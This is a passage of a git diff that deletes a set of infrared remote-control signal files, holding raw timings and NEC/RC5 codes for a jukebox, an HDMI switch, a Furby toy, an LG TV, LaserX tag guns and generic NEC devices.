435 1249 441 1244 1286 399 440 8138 1278 408 1282 431 408 1249 1281 432 1258 428 412 1246 434 1251 439 1245 434 1250 440 1245 1285 427 413 8139 1288 399 1280 405 434 1276 1254 432 1258 428 412 1273 406 1251 439 1245 434 1250 440 1245 1285 427 413 8139 1277 409 1281 431 408 1250 1280 432 1258 428 412 1272 407 1251 439 1245 434 1250 440 1245 1285 427 413 8139 1277 409 1281 405 434 1249 1281 405 1285 428 412 1246 433 1251 439 1245 434 1250 440 1245 1285 400 439 8139 1278 408 1282 431 408 1249 1281 432 1258 401 439 1246 434 1251 439 1245 434 1250 440 1245 1285 427 413 -# -name: Temp_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1282 431 1259 427 413 1272 1258 428 1251 435 415 1270 409 1275 1255 431 408 1250 440 1245 434 1276 414 8139 1277 408 1282 431 408 1276 1254 432 1258 428 412 1273 407 1251 1279 433 417 1241 439 1272 407 1251 439 8139 1288 399 1281 431 408 1250 1280 432 1258 401 439 1246 434 1251 1279 406 434 1251 439 1245 434 1250 440 8138 1279 408 1282 404 435 1249 1281 431 1259 400 439 1245 434 1250 1280 406 434 1277 413 1245 434 1250 440 8138 1278 408 1282 404 435 1249 1281 404 1286 400 439 1245 434 1250 1280 432 407 1277 413 1244 435 1276 414 8137 1279 407 1283 402 438 1247 1283 403 1277 436 414 1244 435 1249 1281 405 434 1249 441 1244 435 1249 441 8137 1279 433 1257 429 410 1274 1256 429 1261 425 414 1270 409 1275 1255 431 408 1276 414 1270 409 1275 415 8137 1279 406 1284 429 410 1273 1257 430 1260 426 413 1270 409 1275 1255 432 407 1276 414 1270 409 1249 441 -# -name: Temp_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1277 435 1255 431 408 1275 1255 431 1259 427 413 1271 1259 427 413 1271 408 1250 440 1244 435 1249 441 8136 1280 405 1285 427 413 1245 1285 427 1253 433 407 1277 1253 432 408 1250 440 1244 435 1249 441 1243 436 8140 1287 399 1281 405 434 1275 1255 431 1259 426 413 1244 1286 426 413 1244 435 1249 441 1243 436 1247 443 8134 1282 403 1276 435 415 1243 1276 435 1255 431 408 1249 1281 431 408 1275 415 1243 436 1248 442 1242 437 8138 1278 433 1257 402 438 1246 1284 428 1252 433 417 1267 1252 433 407 1250 440 1271 408 1249 441 1243 436 8139 1277 408 1282 430 409 1248 1282 430 1260 425 414 1270 1260 425 414 1243 436 1248 442 1242 437 1246 434 8142 1285 401 1279 433 407 1250 1280 432 1258 427 413 1245 1285 427 412 1271 408 1249 441 1243 436 1247 443 8132 1284 401 1279 433 407 1251 1279 432 1258 428 412 1271 1259 427 413 1244 435 1249 441 1243 436 1247 443 8132 1284 401 1279 433 407 1277 1253 432 1258 428 412 1245 1285 427 412 1244 435 1249 441 1243 436 1247 443 8132 1284 401 1279 433 407 1277 1253 432 1258 428 412 1245 1285 427 413 1271 408 1249 441 1243 436 1248 442 8134 1282 403 1276 435 415 1268 1251 434 1256 430 409 1274 1256 429 410 1274 416 1267 413 1271 408 1249 441 8135 1281 404 1286 426 413 1244 1286 426 1253 432 407 1276 1254 431 408 1276 414 1269 410 1248 442 1242 437 8138 1278 407 1283 429 411 1273 1257 428 1251 434 416 1267 1252 433 407 1277 413 1244 435 1249 440 1243 436 8139 1277 408 1282 429 410 1273 1257 429 1250 435 415 1269 1250 434 416 1242 438 1246 433 1250 440 1244 435 8139 1277 408 1282 403 436 1248 1282 403 1277 435 415 1243 1276 408 442 1242 437 1247 433 1251 439 1244 435 8140 1287 399 1280 431 408 1249 1281 431 1259 426 413 1244 1286 425 414 1243 436 1248 442 1242 438 1246 433 8141 1286 399 1281 431 408 1249 1281 430 1260 426 413 1244 1286 425 414 1243 436 1248 442 1241 439 1246 433 8141 1286 399 1281 405 434 1276 1254 431 1259 426 413 1271 1259 426 413 1244 435 1248 442 1242 437 1247 443 -# -name: Rotate -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1282 430 1260 427 412 1271 1259 427 1252 434 416 1268 411 1272 407 1277 1253 433 417 1267 412 1272 407 8144 1282 429 1250 436 414 1270 1260 426 1253 433 406 1277 413 1244 435 1276 1254 432 407 1276 414 1270 409 8142 1284 401 1278 434 416 1267 1252 434 1256 430 409 1247 443 1268 411 1272 1258 428 411 1273 406 1277 413 8138 1278 434 1256 430 409 1274 1256 430 1260 426 413 1270 409 1275 415 1269 1250 436 414 1270 409 1275 415 8136 1280 432 1258 428 411 1272 1258 428 1251 435 415 1268 411 1273 417 1267 1252 434 416 1268 411 1272 407 8144 1282 429 1261 426 413 1270 1260 426 1253 432 407 1276 414 1271 408 1275 1255 432 407 1276 414 1270 409 8142 1284 427 1252 434 416 1267 1252 434 1256 430 409 1274 416 1268 411 1273 1256 430 409 1274 416 1268 411 8140 1286 425 1254 432 407 1276 1254 432 1258 428 411 1272 407 1277 413 1271 1259 427 412 1272 407 1276 414 8137 1279 432 1258 429 410 1273 1257 429 1250 436 414 1243 436 1273 417 1268 1251 434 416 1268 411 1272 407 8143 1283 428 1251 434 416 1268 1251 434 1256 430 409 1274 416 1267 412 1272 1258 428 411 1272 407 1277 413 8137 1279 433 1257 429 410 1273 1257 428 1251 435 415 1268 411 1272 407 1277 1253 433 406 1277 413 1271 408 8142 1284 427 1252 434 416 1267 1252 433 1257 429 410 1273 417 1267 412 1271 1259 427 412 1271 408 1276 414 8136 1280 432 1258 429 410 1273 1257 429 1250 435 415 1268 411 1273 406 1277 1253 433 417 1267 412 1271 408 8142 1284 427 1252 434 416 1267 1252 434 1256 430 409 1273 417 1267 412 1272 1258 428 412 1272 407 1276 414 8136 1280 432 1258 428 412 1272 1258 428 1251 434 416 1267 412 1272 407 1250 1280 432 407 1277 413 1271 408 8142 1284 427 1252 433 406 1277 1253 433 1257 429 410 1273 417 1267 412 1271 1259 428 411 1272 407 1276 414 8136 1280 432 1258 428 412 1272 1258 428 1251 434 416 1267 412 1271 408 1276 1254 432 407 1276 414 1270 409 8141 1285 426 1253 432 407 1276 1254 432 1258 428 411 1272 407 1276 414 1270 1260 427 412 1271 408 1275 415 diff --git a/assets/ir_optional_assets/optional-assets/Miscellaneous/AMI/AMI_Jukebox.ir b/assets/ir_optional_assets/optional-assets/Miscellaneous/AMI/AMI_Jukebox.ir deleted file mode 100644 index 89ae51a7c..000000000 --- a/assets/ir_optional_assets/optional-assets/Miscellaneous/AMI/AMI_Jukebox.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Ami -type: parsed -protocol: RC5 -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: Ch_1_vol_up -type: parsed -protocol: RC5 -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: Ch_1_vol_down -type: parsed -protocol: RC5 -address: 14 00 00 00 -command: 28 00 00 00 -# -name: Ch_2_vol_up -type: parsed -protocol: RC5 -address: 14 00 00 00 -command: 11 00 00 00 -# -name: Ch_2_vol_down -type: parsed -protocol: RC5 -address: 14 00 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Miscellaneous/HDMI_Switch.ir b/assets/ir_optional_assets/optional-assets/Miscellaneous/HDMI_Switch.ir deleted file mode 100644 index e413dfc0b..000000000 --- a/assets/ir_optional_assets/optional-assets/Miscellaneous/HDMI_Switch.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: Hdmi_1 -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 01 00 00 00 -# -name: Hdmi_2 -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 03 00 00 00 -# -name: Hdmi_3 -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 07 00 00 00 -# -name: Hdmi_4 -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 09 00 00 00 -# -name: Hdmi_5 -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 0D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Miscellaneous/Hasbro/Furby/Furby.ir b/assets/ir_optional_assets/optional-assets/Miscellaneous/Hasbro/Furby/Furby.ir deleted file mode 100644 index ece3d6a17..000000000 --- a/assets/ir_optional_assets/optional-assets/Miscellaneous/Hasbro/Furby/Furby.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Dance1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 223 8061 180 3550 177 32939 249 978 375 395 656 469 551 523 580 1646 550 547 577 524 579 494 578 523 601 1624 552 547 577 497 606 1618 558 1643 574 524 579 4595 600 526 608 490 582 1619 577 521 551 548 555 546 578 520 552 1649 579 494 578 521 603 1623 605 1569 607 518 554 4646 549 550 584 491 633 1567 577 546 578 496 576 549 585 514 579 1620 587 513 580 520 552 1648 580 1619 577 522 581 4620 575 524 558 516 577 1647 549 526 608 516 577 497 575 549 585 1588 577 549 575 524 579 1619 577 1624 604 495 577 4622 604 471 601 498 584 1641 576 497 585 515 609 516 577 496 576 1651 577 496 576 524 610 1615 550 1650 578 521 603 4596 557 542 603 498 574 1624 583 517 576 524 558 541 552 549 575 1623 584 516 577 523 549 1650 578 1621 586 515 557 28415 260 3920 177 -# -name: Dance2 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 182 9191 373 5556 176 464 181 34834 575 550 574 525 558 542 582 518 575 524 579 520 552 548 555 544 580 1619 578 1622 575 1626 602 1596 580 495 608 4642 575 499 552 546 578 523 549 549 554 547 556 543 581 518 554 545 558 1641 556 1644 584 1616 549 1649 558 542 582 4643 553 521 551 548 555 545 579 521 582 515 578 523 549 550 553 546 557 1643 575 1624 583 1617 559 1666 552 522 550 4676 551 523 549 550 553 545 558 541 604 497 554 545 558 541 552 548 576 1624 552 1646 551 1649 579 1621 576 524 579 4620 555 544 580 521 551 547 556 543 581 519 584 515 557 542 551 550 553 1645 552 1649 548 1650 578 1622 554 547 556 4667 560 515 557 541 583 518 575 524 558 541 583 517 576 523 549 550 553 1647 602 1598 557 1641 556 1644 584 516 556 38389 233 -# -name: Sleep1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 180 253 173 51496 554 545 579 546 526 625 478 569 555 544 528 572 531 568 525 574 550 549 523 576 527 1699 498 1675 532 1693 504 4695 501 574 529 570 523 576 527 573 551 547 525 574 529 596 507 592 501 574 529 570 523 1701 506 1694 503 1671 526 4699 528 546 526 546 557 569 524 575 528 571 532 567 557 543 529 570 533 566 527 573 551 1673 503 1671 526 1673 524 4702 504 543 550 575 559 541 531 568 525 574 529 570 533 567 526 573 530 570 523 577 526 1672 556 1643 554 1646 530 4694 502 573 530 570 523 550 553 570 533 567 557 542 530 544 549 576 559 541 531 568 556 1644 532 1667 530 1645 552 4671 525 576 527 571 532 568 525 600 503 570 533 566 527 573 530 569 524 575 559 565 507 1668 529 1671 526 1648 549 31609 255 2724 176 -# -name: Joke1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 500 599 525 549 554 1670 475 624 500 575 580 1642 503 572 583 491 581 596 476 624 479 1694 503 596 507 541 552 4699 507 592 532 542 530 1695 502 573 530 569 524 1701 506 593 500 574 529 570 554 571 501 1724 473 576 527 573 551 4672 482 620 504 644 449 1675 636 516 504 542 530 1695 502 598 505 568 525 601 502 597 527 1646 530 545 548 577 526 4698 508 540 584 568 504 1695 502 544 528 676 448 1675 532 592 532 542 530 544 299 877 476 1723 474 626 477 673 430 4667 560 541 552 548 524 1725 482 568 577 547 504 1719 478 599 504 570 523 599 504 544 476 1776 525 601 471 653 502 4645 530 570 554 521 530 1694 534 540 532 593 500 1699 529 571 501 598 526 599 473 576 559 1666 499 575 528 571 553 -# -name: Hello1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 177 2149 172 13593 182 35351 555 544 580 520 552 573 530 569 524 1676 531 1668 528 1671 525 1674 554 520 552 573 551 523 549 551 552 573 551 4648 526 573 530 544 549 576 527 572 531 1668 560 1641 555 1643 553 1646 550 523 549 551 552 573 530 569 555 519 553 4697 498 551 583 542 530 544 549 550 553 1646 550 1674 533 1642 554 1671 526 548 555 570 554 545 558 516 577 523 549 4676 550 522 550 550 584 541 531 543 581 1644 552 1647 529 1671 525 1674 554 546 526 547 556 569 524 576 579 495 577 4673 501 547 577 522 550 575 528 571 532 1667 529 1671 525 1674 554 1646 550 548 524 551 573 552 530 543 581 544 528 4672 523 576 527 547 577 548 524 549 585 1640 525 1674 554 1646 530 1671 557 516 556 569 524 576 527 572 552 548 524 34558 249 49251 180 7903 176 -# -name: Hello2 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 199 875 181 9335 181 9478 173 32264 549 551 604 494 557 543 581 543 560 515 557 542 551 1623 573 1652 576 1623 584 1616 549 550 584 516 556 543 602 4624 530 544 549 550 584 515 557 543 550 550 553 546 557 1669 548 1649 558 1617 579 1645 551 523 549 550 584 542 530 4668 558 516 556 544 580 522 581 516 556 543 581 519 574 1626 550 1650 557 1643 553 1671 557 541 552 549 523 576 527 4672 523 551 604 495 556 544 549 575 559 515 557 542 582 1643 533 1668 549 1623 584 1643 533 541 552 573 582 518 523 4702 503 544 559 567 557 517 555 545 548 576 558 540 532 1643 585 1641 524 1674 533 1667 529 571 584 489 583 516 577 4649 557 517 555 544 559 566 558 516 556 544 549 576 558 1640 556 1644 532 1642 554 1670 558 542 551 550 522 551 552 20707 220 8337 174 9345 218 -# -name: Hello3 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 555 594 530 570 533 1666 499 1727 480 1720 476 1698 498 600 482 644 480 593 500 651 452 648 455 568 525 599 504 4697 529 545 527 573 478 1747 501 1723 473 1727 480 1745 451 597 506 593 500 600 503 597 506 594 499 625 478 622 481 4819 376 598 505 595 498 1675 532 1669 527 1697 499 1649 558 568 556 568 504 596 497 578 556 543 550 576 527 546 557 4642 449 676 448 653 502 1721 475 1700 507 1693 503 1721 507 568 504 595 529 571 501 599 504 620 483 617 476 624 479 4874 352 543 529 571 532 1692 525 1649 527 1674 522 1676 531 571 553 572 500 573 530 570 533 592 501 573 530 570 523 4704 533 538 555 546 526 1726 481 1668 528 1671 525 1674 533 566 527 549 554 570 523 576 527 547 556 570 554 545 558 95592 178 -# -name: Yousing1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 179 1660 219 9003 174 3778 178 40710 556 568 577 497 554 545 558 566 527 599 504 569 524 1677 530 595 498 576 558 1642 523 1675 532 594 499 575 528 4698 497 576 527 573 530 569 524 576 527 572 531 569 524 1675 532 568 525 575 528 1698 498 1675 552 547 525 600 503 4671 524 575 559 566 506 568 556 543 529 572 531 568 525 1701 506 567 557 543 529 1696 500 1700 527 546 526 574 550 4701 504 544 528 571 532 568 556 543 529 572 531 567 557 1644 531 566 527 574 529 1670 526 1673 534 565 528 574 529 4695 500 575 549 551 531 568 525 549 554 570 554 546 526 1674 533 568 525 573 551 1675 501 1673 534 566 527 572 531 4695 500 574 529 570 533 566 558 567 526 549 533 566 527 1699 497 575 528 572 531 1669 527 1697 499 575 528 572 531 -# -name: Hide1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 180 12679 178 38905 557 568 525 573 530 570 523 551 552 1673 554 545 527 572 531 569 524 550 553 1672 555 545 527 572 552 1647 528 4696 509 592 501 573 551 524 548 551 552 1673 523 601 502 573 551 548 524 576 558 1641 524 575 528 572 552 1647 560 4666 529 545 527 573 530 569 524 577 526 1672 556 544 528 572 531 568 525 575 528 1671 525 575 528 572 531 1668 549 4651 523 576 527 572 531 569 524 575 528 1671 525 576 527 572 531 568 525 574 529 1672 524 575 528 546 578 1647 528 4696 499 576 558 516 556 568 525 576 527 1672 524 575 528 572 531 568 525 574 529 1671 525 574 529 546 578 1647 528 4671 555 545 527 546 557 567 526 550 553 1671 525 575 528 571 532 567 526 574 529 1671 525 573 530 544 559 1667 529 34467 285 587 193 57659 180 8970 181 21187 176 -# -name: Hide2 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 175 108 198 15137 182 37800 579 543 529 571 532 1668 528 1672 524 575 528 572 531 593 499 575 528 546 578 520 552 573 530 570 585 1614 530 4696 499 576 527 572 531 1669 527 1698 529 545 579 494 557 543 602 498 553 571 532 568 525 575 528 546 557 1667 550 4676 498 576 558 543 529 1669 527 1698 498 575 528 598 505 569 524 550 553 597 506 594 499 601 502 572 552 1648 527 4697 497 577 557 542 530 1669 527 1724 483 565 528 573 530 569 524 576 527 572 552 548 555 570 502 572 531 1695 501 4697 508 567 526 574 529 1670 526 1673 534 567 526 573 530 569 524 577 557 541 531 569 524 576 527 573 530 1669 527 4697 508 592 501 549 585 1613 552 1674 533 566 558 541 531 570 533 566 527 572 531 570 533 591 502 573 530 1696 500 29225 180 -# -name: Party1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 172 8707 173 129 271 15491 182 274 251 36035 581 598 505 568 556 1643 532 1668 528 571 532 567 526 1648 559 567 526 573 530 544 559 566 527 1648 559 540 553 4698 528 521 551 574 529 1671 525 1674 533 567 526 574 529 1670 526 573 530 569 555 545 506 594 530 1669 559 541 531 4670 525 574 529 569 534 1667 550 1674 501 573 530 570 575 1624 530 543 550 576 527 573 530 569 524 1676 530 569 524 4700 505 570 533 567 526 1672 535 1691 505 569 524 576 527 1673 523 575 528 598 505 594 499 576 527 1673 523 575 528 4672 554 571 501 573 551 1675 500 1673 554 571 501 573 530 1669 527 572 531 569 524 576 527 572 531 1669 527 571 532 4694 501 574 550 550 522 1702 505 1669 527 573 551 549 533 1691 505 570 523 577 526 572 531 594 530 1645 530 569 524 33034 182 54935 180 16737 180 -# -name: Party2 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 478 672 452 597 329 898 319 678 446 1804 226 849 452 571 303 1973 421 1830 377 621 451 647 477 1725 502 646 426 4775 451 699 352 621 534 666 182 818 478 1899 328 617 476 650 224 2130 295 1699 278 845 425 650 505 1747 449 648 455 4822 372 601 481 566 558 618 506 696 251 1821 500 575 528 748 324 1725 502 1746 450 600 524 601 481 1743 453 594 509 4743 451 673 430 592 532 594 181 919 481 1695 480 669 424 651 504 1745 430 1718 457 643 450 804 247 1747 449 650 297 4929 474 702 422 627 476 597 506 594 499 1803 424 624 479 621 451 1722 474 1751 424 649 475 599 504 1670 526 702 401 4671 555 697 375 648 455 594 181 969 483 1742 423 600 503 597 506 1692 504 1722 474 575 549 730 321 1725 502 596 507 -# -name: Mesing1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 525 549 523 576 527 573 530 570 554 1618 578 1648 527 573 530 570 502 1695 532 569 555 544 559 540 532 593 500 4675 530 569 534 567 526 599 504 569 555 1645 582 1616 528 598 505 568 556 1644 531 569 524 576 527 572 635 464 524 4674 551 549 523 577 526 548 555 570 554 1645 551 1650 525 573 551 548 576 1624 530 569 555 545 558 515 578 548 555 4645 549 575 507 644 480 542 530 571 532 1666 551 1676 531 568 556 518 533 1642 554 621 482 567 526 573 530 595 498 4702 503 596 507 592 501 600 503 570 585 1641 503 1670 558 542 530 596 507 1692 504 570 523 601 502 573 530 595 508 4742 452 595 529 521 551 575 559 539 533 1667 529 1696 500 574 529 571 532 1693 534 564 508 593 500 574 529 595 508 -# -name: Yawn1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 602 522 550 525 557 1667 550 574 508 566 527 573 530 570 533 566 527 573 530 570 533 566 558 1666 499 1676 531 4669 557 567 505 570 523 1703 504 569 534 592 501 598 505 569 524 576 558 541 531 569 524 575 528 1698 498 1675 532 4694 501 599 504 595 529 1696 500 548 524 602 501 573 530 569 524 601 502 572 531 594 499 601 502 1646 550 1701 506 4693 502 598 505 595 508 1691 557 568 473 576 558 566 527 573 499 576 558 566 527 598 474 600 503 1697 530 1668 528 4672 502 598 505 593 500 1727 480 568 556 545 558 540 532 568 525 550 553 597 506 568 525 574 529 1696 500 1674 533 4718 476 570 533 568 525 1700 507 592 501 625 478 597 506 593 500 626 477 570 533 592 501 600 503 1670 526 1673 534 29815 174 3405 176 diff --git a/assets/ir_optional_assets/optional-assets/Miscellaneous/LG/LG.ir b/assets/ir_optional_assets/optional-assets/Miscellaneous/LG/LG.ir deleted file mode 100644 index d480fb71c..000000000 --- a/assets/ir_optional_assets/optional-assets/Miscellaneous/LG/LG.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Input -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: Ok -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 44 00 00 00 -# -name: Chanel_up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: Channel_down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: Up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 40 00 00 00 -# -name: Down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 41 00 00 00 -# -name: Left -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 07 00 00 00 -# -name: Right -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 06 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: Volume_up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: Volume_down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: Surr_power -type: parsed -protocol: NEC -address: 08 00 00 00 -command: 10 00 00 00 -# -name: Surr_up -type: parsed -protocol: NEC -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: Surr_down -type: parsed -protocol: NEC -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: Surr_mute -type: parsed -protocol: NEC -address: 08 00 00 00 -command: 16 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Miscellaneous/LaserX/LaserX_Tag.ir b/assets/ir_optional_assets/optional-assets/Miscellaneous/LaserX/LaserX_Tag.ir deleted file mode 100644 index 4c2cd08e5..000000000 --- a/assets/ir_optional_assets/optional-assets/Miscellaneous/LaserX/LaserX_Tag.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Red -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 6329 528 581 464 1651 464 583 461 1654 462 575 470 598 474 1590 526 572 -# -name: Blue -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 6496 535 553 512 1624 537 562 531 1626 509 559 534 534 533 555 511 1625 -# -name: All -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 6467 536 563 504 1653 508 560 506 1651 511 557 510 578 516 1620 541 1677 diff --git a/assets/ir_optional_assets/optional-assets/Miscellaneous/ReadMe.md b/assets/ir_optional_assets/optional-assets/Miscellaneous/ReadMe.md deleted file mode 100644 index 75996ff83..000000000 --- a/assets/ir_optional_assets/optional-assets/Miscellaneous/ReadMe.md +++ /dev/null @@ -1 +0,0 @@ -Misc files that don't seem to fit elsewhere! diff --git a/assets/ir_optional_assets/optional-assets/NEC.ir b/assets/ir_optional_assets/optional-assets/NEC.ir deleted file mode 100644 index 2b8e86e31..000000000 --- a/assets/ir_optional_assets/optional-assets/NEC.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8073 3997 524 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 522 502 495 1505 501 501 496 504 493 1507 499 502 495 1505 501 501 496 18806 8072 3997 524 502 495 505 492 1507 499 502 495 1505 490 1509 497 1504 491 1510 496 3988 522 502 495 1505 501 500 497 503 494 1506 500 501 496 1504 491 510 498 18806 8072 3998 523 503 494 506 491 1509 497 504 493 1506 499 1501 494 1506 500 1502 493 3989 522 504 493 1507 499 502 495 505 492 1508 498 503 494 1506 499 502 495 18807 8072 3998 523 503 494 506 491 1509 497 504 493 1506 500 1501 494 1506 500 1502 493 3989 521 503 494 1506 500 502 495 505 492 1508 498 503 494 1506 500 502 495 18807 8072 3998 523 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 523 502 495 1505 501 501 496 503 494 1506 500 501 496 1504 491 510 498 -# -name: Standby -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8065 4004 517 509 499 502 495 1505 501 500 497 1502 493 1507 498 1476 519 1482 523 3984 526 499 498 1502 493 1507 498 1477 518 507 501 500 497 1503 492 509 499 17804 8064 4004 516 510 498 503 494 1505 500 501 496 1503 492 1508 497 1503 492 1484 521 3986 524 501 496 1503 492 1508 497 1503 492 509 499 502 495 1505 500 502 495 17808 8071 3999 522 504 493 507 501 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3991 519 506 491 1508 497 1503 492 1508 497 504 493 507 501 1499 496 506 491 17814 8065 4006 525 500 497 504 493 1507 498 502 495 1504 491 1509 496 1504 491 1510 496 3987 523 502 495 1504 502 1499 496 1504 501 500 497 503 494 1506 499 502 495 17807 8072 3997 524 502 495 505 492 1508 497 503 494 1505 501 1499 496 1479 516 1485 520 3987 523 501 496 1504 491 1509 496 1479 516 510 498 503 494 1505 500 502 495 17806 8073 3996 525 501 496 505 492 1507 498 503 494 1505 500 1499 496 1479 516 1485 520 3987 523 502 495 1504 501 1499 496 1479 516 510 498 503 494 1506 499 502 495 -# -name: Vol_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8069 3998 522 503 494 506 491 1509 496 505 492 1507 498 1501 494 1506 499 1502 493 3989 521 1503 492 1508 497 1503 492 508 500 1501 494 506 491 510 498 504 493 17810 8067 4003 517 508 500 501 496 1504 491 510 498 1502 493 1507 498 1501 494 1508 497 3984 526 1474 521 1504 501 1500 495 505 492 1509 496 505 492 508 500 502 495 17809 8069 4000 520 506 491 509 499 1501 494 507 501 1499 496 1503 492 1508 497 1504 491 3991 519 1480 525 1500 495 1505 500 500 497 1503 492 509 499 503 494 507 490 17809 8069 3999 521 505 492 508 500 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3990 520 1504 491 1509 496 1504 491 509 499 1501 494 507 501 501 496 505 492 17808 8070 3998 523 503 494 506 491 1509 496 504 493 1507 498 1501 494 1506 499 1502 493 3988 522 1502 493 1507 498 1502 493 507 501 1500 495 505 492 509 499 502 495 -# -name: Vol_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8066 4002 519 507 501 500 497 1503 492 508 500 1500 495 1480 525 1475 520 1506 499 3983 517 508 500 1500 495 1481 524 501 496 1504 491 510 498 503 494 507 501 18803 8073 3997 524 503 494 506 491 1483 522 504 493 1506 499 1476 519 1482 523 1478 517 3989 521 504 493 1482 523 1478 517 508 500 1476 519 507 501 500 497 505 492 18809 8066 4003 517 508 500 501 496 1503 492 509 499 1501 494 1480 525 1475 520 1481 524 3983 516 509 499 1501 494 1482 523 502 495 1505 500 500 497 504 493 508 500 -# -name: Mute -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8069 4000 520 480 517 508 500 1500 495 505 492 1508 497 1502 493 1506 499 1502 493 3989 521 1503 492 1509 496 503 494 1506 499 1501 494 506 491 510 498 504 493 17807 8072 3997 524 501 496 505 492 1508 497 502 495 1505 500 1499 496 1504 491 1510 495 3986 524 1500 495 1506 499 500 497 1503 492 1508 497 503 494 507 501 501 496 17804 8064 4004 517 509 499 501 496 1504 491 509 499 1500 495 1505 500 1499 496 1505 500 3980 520 1505 500 1500 495 505 492 1508 497 1502 493 508 500 501 496 505 492 17807 8072 3995 526 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 515 1509 496 1503 492 508 500 1500 495 1506 499 501 496 505 492 509 499 17803 8065 4003 518 508 500 501 496 1504 491 509 499 1502 493 1507 498 1502 493 1508 497 3985 525 1500 495 1505 500 500 497 1503 492 1508 497 504 493 508 500 501 496 -# -name: Ch_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8064 4006 525 501 496 504 493 1507 498 502 495 1505 500 1499 496 1504 501 1500 495 3987 523 1501 494 1507 498 502 495 505 492 1508 497 1503 492 509 499 503 494 17808 8069 4000 520 505 492 508 500 1500 495 506 491 1508 497 1503 492 1508 497 1504 491 3991 519 1505 500 1501 494 507 501 500 497 1502 493 1508 497 503 494 508 500 17803 8064 4006 525 501 496 504 493 1507 498 503 494 1505 500 1500 495 1505 500 1500 495 3988 522 1502 493 1507 498 503 494 506 491 1508 497 1503 492 509 499 503 494 -# -name: Ch_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8068 3999 521 504 493 507 501 1498 497 504 493 1505 500 1475 520 1479 526 1500 495 3987 523 502 495 1505 500 501 496 504 493 1506 499 1501 494 507 501 500 497 18802 8072 3996 524 502 495 505 492 1507 498 503 494 1505 500 1475 520 1480 525 1476 519 3987 523 501 496 1504 491 510 498 502 495 1504 501 1475 520 505 492 509 498 18798 8065 4001 519 507 501 499 498 1502 493 507 501 1499 496 1504 501 1473 522 1504 501 3981 518 506 491 1509 496 505 492 508 499 1500 495 1505 500 500 497 505 492 18808 8065 4001 519 507 501 500 497 1503 492 508 499 1500 495 1505 500 1499 496 1506 499 3983 516 508 499 1501 494 507 501 500 497 1502 493 1508 497 504 493 508 500 -# -name: Menu -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8071 3997 523 503 494 506 491 1509 496 504 493 1507 498 1477 518 1482 523 1478 517 3991 518 507 500 500 497 504 493 507 500 500 497 1503 492 509 498 503 494 20805 8072 3997 523 503 494 507 501 1499 496 505 492 1507 498 1478 517 1483 522 